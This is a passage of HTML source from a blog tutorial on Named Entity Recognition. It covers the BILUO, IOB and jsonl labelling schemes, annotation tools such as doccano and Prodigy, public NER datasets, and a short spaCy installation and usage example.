-4c0-4%202-7%203-5l1%205c0%203%200%204%202%204l1-5c0-7%200-7-9-7h-8v6M47%2095l-1%2028c-3%200-2%201%202%205l3%203%204-3c3-4%204-5%202-5s-2-4-2-28V66h-8v29m57%200v28h-2c-2%200-2%200%202%204l4%204%203-3c4-4%205-5%203-5s-2-4-2-28V66h-8v29m42%200l-1%2028c-3%200-2%201%202%205l3%203%204-4c4-4%204-4%202-4h-2V66h-8v29m53%200v28h-2c-2%200-2%200%202%204l3%204%204-3c3-4%204-5%202-5s-2-4-2-28V66h-7v29m58-28l-1%2028c0%2025%200%2028-2%2028-1%200-1%201%202%204%205%205%205%205%209%201%203-4%204-5%202-5s-2-4-2-28V66h-4l-4%201m58%2028l-1%2028c-3%200-2%201%201%205l4%203%203-4c4-3%205-4%203-4s-2-4-2-28V66h-8v29M11%20165l1%2015h15c15%200%2015%200%2017-2l2-4%201-1c4%201%208-5%206-10-1-2-1-2-5-2l-3%201-1-6v-5l-17-1H11v15m2%200v13h29v-26H13v13m159-2v9l5-1c5%200%206-1%206-3l-1-4v-2c3-3%200-7-6-7h-4v8m123%200l1%209%204-1c7%200%2010-3%206-6v-3c3-4%200-7-7-7h-4v8m-275%202v8h4c6%200%2010-4%207-8v-3c2-3-1-6-7-6h-4v9m232-7c-3%204-3%2010%201%2013%208%206%2018-5%2011-13-3-3-9-3-12%200m-145%200c-7%202-8%2010-3%2015%206%204%2014%200%2014-7%200-5-6-10-11-8m39%200c-5%203-6%2011-2%2015%203%202%2010%202%2012-1%206-7-2-18-10-14m49%203l-1%208c0%206%201%207%207%206%205-1%203-6-2-6l-2-1%202-1c2%200%203-1%204-5%201-2%201-2-3-2l-5%201m25%201c-3%202-2%207%201%209%206%203%2011-5%206-9-2-2-5-2-7%200m113%204c1%207%203%208%203%201%201-7%204-7%204%200%201%206%203%207%203%200%200-3%201-4%202-4s2%201%202%204c0%206%202%206%203%200%200-6-1-7-10-7h-7v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/c85cb/biluo-map.webp 300w,/static/7fe2f42eaa3f2fda77d2487841983bea/e88ff/biluo-map.webp 600w,/static/7fe2f42eaa3f2fda77d2487841983bea/385bc/biluo-map.webp 810w&quot; sizes=&quot;(max-width: 810px) 100vw, 810px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/5a46d/biluo-map.png 300w,/static/7fe2f42eaa3f2fda77d2487841983bea/0a47e/biluo-map.png 600w,/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png 810w&quot; sizes=&quot;(max-width: 810px) 100vw, 810px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Mapping with BILUO scheme&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png&quot; title=&quot;Figure 3 - Mapping with BILUO scheme&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Mapping with BILUO scheme&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The BILUO scheme is perhaps the most popular format.&lt;/p&gt;&lt;p&gt;A second format is a simplified version of the BILUO scheme. It is called the &lt;strong&gt;IOB&lt;/strong&gt; schema. This is a less fine-grained scheme, where
the prefix associated with the entity indicates only whether it is a token at the beginning or within the entity consisting of several words. &lt;br/&gt;
The scheme follows the specifications defined in the figure below.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1124px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M15%2011c-6%208%204%2017%2010%2010%203-3%202-9-1-11s-8-1-9%201m14%205v7h10v-6c0-7-1-8-6-8h-4v7M6%2079\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fe76acc16315189d87de5de47a2234ba/c85cb/iob.webp 300w,/static/fe76acc16315189d87de5de47a2234ba/e88ff/iob.webp 600w,/static/fe76acc16315189d87de5de47a2234ba/e9b15/iob.webp 1124w&quot; sizes=&quot;(max-width: 1124px) 100vw, 1124px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fe76acc16315189d87de5de47a2234ba/5a46d/iob.png 300w,/static/fe76acc16315189d87de5de47a2234ba/0a47e/iob.png 600w,/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png 1124w&quot; sizes=&quot;(max-width: 1124px) 100vw, 1124px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - IOB Scheme&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png&quot; title=&quot;Figure 4 - IOB Scheme&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - IOB Scheme&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;A third representation is in &lt;strong&gt; jsonl &lt;/strong&gt; format.
In this format, each textual content is associated with a list that indicates, for each entity, the position in the text and the associated semantic category.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;json&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;{   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;Sharon&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;flew&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;Miami&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;friday&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;DATE&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Example in jsonl format&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Experts identify the BILUO scheme as the best to make models for Named Entity Recognition as accurate as possible.
This is because, through the multi-prefix scheme, they specify more detailed information in the text, which improves the capabilities of
learning of the Machine Learning algorithm used. &lt;br/&gt;
But even using the IOB and jsonl format, very often it is possible to achieve noteworthy performance. &lt;br/&gt;
Switching between formats is relatively simple and can be accomplished by defining rules-based procedures
easy intuition.
In addition, many NLP libraries already define predefined functions to transform your dataset into the desired format.&lt;/p&gt;&lt;p&gt;To label and transform data into one of these formats, there are ad hoc tools called &lt;strong&gt; annotators &lt;/strong&gt;.
An annotator allows you to upload your data as plain text and then label it in a graphical environment which makes the annotation process more agile.
Annotators allow you to label data for NER, but also for textual classification tasks rather than sequence-to-sequence tasks.&lt;/p&gt;&lt;p&gt;In the case of NER, an annotator presents a graphic like the one below in the figure, with functionalities that allow
to carry out the annotation activity simply by highlighting the text and specifying the label to assign.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4bd4c38d814cfd2465665862c558e958/10b63/doccano.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:45.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;183\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20183\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M1%207v6h53v10H1v160h399V0H1v7m2%201l1%204h38V5L22%204H3v4m119%2014v4h37v-9h-37v5m-44-1c0%202-1%202-8%202s-9%200-9%202l24%201%2023-1c0-2-2-2-9-2-9%200-10%200-10-2-1-3-11-2-11%200m20%2017l-8%201c-6%200-8%201-8%202%201%201-1%201-10%201s-11%200-11%202l22%201a2613%202613%200%200124-1c0-2-1-2-8-2h-8l7-1%207-1-2-1-3-1h-2m110%2039v4h10l9-1%201-4v-3h-20v4M77%2076c0%203%200%203-4%203h-4l3-1c4%200%206-2%203-2-7-1-12%200-12%201l-1%202-1%202c0%202%201%202%208%202%209%200%209%200%209-6-1-3-1-3-1-1m4%202l1%205h12c12%200%2014-1%2014-2%200-2-1-2-3-2-1%200-2%200-1-1a3603%203603%200%2001-20-1%20378%20378%200%2001-3%201m172-1c-1%201%201%201%207%201%202%200%202%200%201%201l-2%202c0%202%201%202%2010%202%207%200%2010-1%2010-2l-3-2-1-1%202-1-10-1h-12c-1-1-2%200-2%201M72%2088l3%201c1%201-1%201-6%201l-8%201c0%202%201%202%2014%202h13v-3c0-1%200-2-1-1l-5%201h-4l4-1c7%200%205-3-3-3-5%200-7%201-7%202m-12%2025l1%205v4h30v-9l-15-1-16%201m3%2040l6%201%206%201h-7c-6%200-7%200-7%202s53%202%2054%200c0-2-1-2-3-2-1%200-2%200-1-1%203%200%202-2-1-2l-19%201%201%201h4c1%201-2%201-7%201s-6-1-4-1c5%200%207-2%202-2h-6l-2%202c1%201%200%201-2%201-1%200-2%200-1-1%202%200%203-2%201-2-5-1-14%200-14%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4bd4c38d814cfd2465665862c558e958/c85cb/doccano.webp 300w,/static/4bd4c38d814cfd2465665862c558e958/e88ff/doccano.webp 600w,/static/4bd4c38d814cfd2465665862c558e958/92f8c/doccano.webp 1200w,/static/4bd4c38d814cfd2465665862c558e958/62ed8/doccano.webp 1800w,/static/4bd4c38d814cfd2465665862c558e958/eccbe/doccano.webp 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4bd4c38d814cfd2465665862c558e958/5a46d/doccano.png 300w,/static/4bd4c38d814cfd2465665862c558e958/0a47e/doccano.png 600w,/static/4bd4c38d814cfd2465665862c558e958/c1b63/doccano.png 1200w,/static/4bd4c38d814cfd2465665862c558e958/d61c2/doccano.png 1800w,/static/4bd4c38d814cfd2465665862c558e958/10b63/doccano.png 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 5 - Docccano screenshot&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4bd4c38d814cfd2465665862c558e958/c1b63/doccano.png&quot; title=&quot;Figure 5 - Docccano screenshot&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Docccano screenshot&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The example screen is from &lt;a href=&quot;https://github.com/doccano/doccano&quot;&gt;&lt;strong&gt;doccano&lt;/strong&gt;&lt;/a&gt;, a well structured and open source annotator. Doccano, once
labeled the data, allows you to export the dataset in &lt;strong&gt;jsonl&lt;/strong&gt; format.
To be mentioned, on the other hand, among the paid ones [&lt;strong&gt; Prodigy &lt;/strong&gt;] (&lt;a href=&quot;https://prodi.gy/&quot;&gt;https://prodi.gy/&lt;/a&gt;), an advanced annotator, enhanced  through the concept
of active learning; this is developed by [Explosion.ai] (&lt;a href=&quot;https://explosion.ai/&quot;&gt;https://explosion.ai/&lt;/a&gt;), creators of the opensource library of NLP [&lt;strong&gt; Spacy &lt;/strong&gt;] (&lt;a href=&quot;https://spacy.io/&quot;&gt;https://spacy.io/&lt;/a&gt;).&lt;/p&gt;&lt;h2 id=&quot;dataset&quot;&gt;Dataset&lt;/h2&gt;&lt;p&gt;If you want to train models for the recognition of entities, one option is to first analyze some labeled datasets present at
state of the art.
These tend to be generic datasets, with entities labeled with semantic categories relating to personal names, organizations, locations, dates,
temporal entities; however, it is also possible to find datasets labeled, concerning to more specific domains.
These datasets are almost always in English, but very often this problem can be overcome by using machine translation tools before carrying out
the activity of Named Entity Recognition, translating the content from the Italian language to the English language, and vice versa.&lt;/p&gt;&lt;p&gt;Here is a list of some of the tagged datasets on the net:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.kaggle.com/abhinavwalia95/entity-annotated-corpus?select=ner_dataset.csv&quot;&gt;&lt;strong&gt;Annotated Corpus for Named Entity Recognition&lt;/strong&gt;&lt;/a&gt;: dataset
in BILUO Schema containing textual content labeled with geographical, geopolitical, temporal entities, etc ...&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.clips.uantwerpen.be/conll2003/ner/&quot;&gt;&lt;strong&gt;CoNLL 2003&lt;/strong&gt;&lt;/a&gt;: dataset in BILUO Scheme containing news articles annotated with (LOC) locality,
ORG (organizations), PER (people) and MISC (miscellaneous).&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.cmu.edu/~enron/&quot;&gt;&lt;strong&gt;Enron Email Dataset&lt;/strong&gt;&lt;/a&gt;: more than 500,000 emails tagged with names, dates and time entities.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://catalog.ldc.upenn.edu/LDC2013T19&quot;&gt;&lt;strong&gt;OntoNotes 5&lt;/strong&gt;&lt;/a&gt;: it is a dataset of news, telephone conversations, blog content tagged with
entities of different kinds.&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;overview-of-tools-for-named-entity-recognition&quot;&gt;Overview of tools for Named Entity Recognition&lt;/h2&gt;&lt;p&gt;At the state of the art there are many tools and libraries that deal with the creation and implementation of tools in the field of
Natural Language Processing. These tools provide both pre-trained templates that are easy to use and quickly integrate into your code, and the
possibility to train new ones with your own data, using predefined modules that simplify the training of new Machine Learning tools. &lt;br/&gt;
In the next section we will see how to train custom models on your own data.
Now let&amp;#x27;s see some easy-to-use tools that provide pre-trained models for recognizing entities in the text.&lt;/p&gt;&lt;h3 id=&quot;spacy&quot;&gt;Spacy&lt;/h3&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:766px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:40%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;160\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20160\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M240%2042c-11%205-17%2015-17%2030%200%2025%2018%2039%2040%2031%2012-4%2020-19%2013-24-4-2-7-1-9%205-3%206-8%2010-12%2010-8%201-10%200-13-3-7-6-9-21-4-32%203-6%207-8%2014-8s10%201%2014%208c3%205%203%205%207%205%206-1%207-7%202-14-6-9-23-12-35-8M79%2058c-10%203-14%2010-10%2018%202%204%206%206%2015%208%209%203%2011%204%2011%208%200%207-12%207-18%200-5-6-10-5-10%201%200%207%207%2011%2019%2011%2014%200%2022-6%2021-15-1-7-6-10-22-14-6-2-8-5-6-8%203-4%209-3%2014%201%207%207%2015%204%2010-3-3-6-16-10-24-7m39%200l-1%2031c0%2032%200%2033%205%2033%204%200%205-2%206-13V98l3%203c3%203%209%204%2014%204%2023-4%2023-44%200-48-5%200-12%202-15%205-2%203-3%203-3%200%200-4-5-6-9-4m66%200c-8%201-13%206-13%2011%200%206%206%207%2011%201%203-4%204-4%209-4%207-1%209%201%209%206%200%202-2%203-12%205-12%203-16%205-18%2010-5%2013%2011%2022%2026%2014%205-2%205-2%207%200%204%205%2011%204%2010-2l-1-17c-1-18-2-21-10-23-5-2-12-2-18-1m103%201c-3%202-3%203%206%2025l8%2019-2%205c-2%204-3%205-6%205-8%200-9%201-9%204%200%208%2018%207%2023-1l21-53c0-3-3-6-6-6-3%201-3%201-10%2019l-5%2014-6-14c-6-19-8-21-14-17m-153%209c-4%202-6%209-6%2015%202%2018%2022%2016%2022-2%200-12-8-18-16-13m57%2016c-8%201-10%203-10%207%200%205%206%207%2013%205%204-1%206-5%206-10%200-4%200-4-9-2\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/52ed935aa044a0f6f08834c364fca63e/c85cb/spacy-rasa.webp 300w,/static/52ed935aa044a0f6f08834c364fca63e/e88ff/spacy-rasa.webp 600w,/static/52ed935aa044a0f6f08834c364fca63e/3fcdd/spacy-rasa.webp 766w&quot; sizes=&quot;(max-width: 766px) 100vw, 766px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/52ed935aa044a0f6f08834c364fca63e/5a46d/spacy-rasa.png 300w,/static/52ed935aa044a0f6f08834c364fca63e/0a47e/spacy-rasa.png 600w,/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png 766w&quot; sizes=&quot;(max-width: 766px) 100vw, 766px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Spacy&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png&quot; title=&quot;Figure 6 - Spacy&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Spacy&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;[&lt;strong&gt; Spacy &lt;/strong&gt;] (&lt;a href=&quot;https://spacy.io/&quot;&gt;https://spacy.io/&lt;/a&gt;) is a Natural Language Processing framework, which deals with the development and implementation of
Machine Learning techniques for many of the most popular nlp tasks.
Spacy, a completely open source tool, also provides a list of pre-trained models, with support for different languages, through
which can be performed on textual content some natural language processing tasks, such as entity recognition.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# installazione di spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pip install -U spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#download del modello&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;python -m spacy download it_core_news_sm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading of choosen model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nlp = spacy.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;en_core_web_sm&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# running model on text and printing recognized entities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;doc = nlp(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Apple is looking at buying U.K. startup for $1 billion&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;​&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc.ents:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ent.text, ent.start_char, ent.end_char, ent.label_)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Spacy Named Entity Recognition&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In these two code snippets we see how to install through &lt;a href=&quot;https://pypi.org/project/pip/&quot;&gt;&lt;strong&gt;pip&lt;/strong&gt;&lt;/a&gt; in the
your &lt;strong&gt;Python&lt;/strong&gt; environment the library and download the chosen model.
Subsequently, with two simple lines of code, you can load the model and run it on textual content.&lt;/p&gt;&lt;h3 id=&quot;stanford-nlp&quot;&gt;Stanford NLP&lt;/h3&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:225px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
